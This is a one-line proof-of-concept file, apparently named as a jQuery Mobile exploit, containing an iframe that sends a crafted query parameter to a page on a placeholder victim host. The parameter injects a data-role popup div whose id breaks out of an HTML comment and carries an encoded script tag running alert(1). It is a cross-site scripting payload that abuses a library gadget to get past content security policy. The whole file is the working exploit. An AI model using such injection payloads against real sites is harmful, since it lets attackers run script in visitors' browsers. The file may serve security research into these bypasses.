jquerymobile_exploit.php

<iframe src="http://victim.example.com/repo/csp/ue/jquerymobile.php?inj=<div data-role=popup id='-->&lt;script&gt;alert(1)&lt;/script&gt;'></div>"></iframe>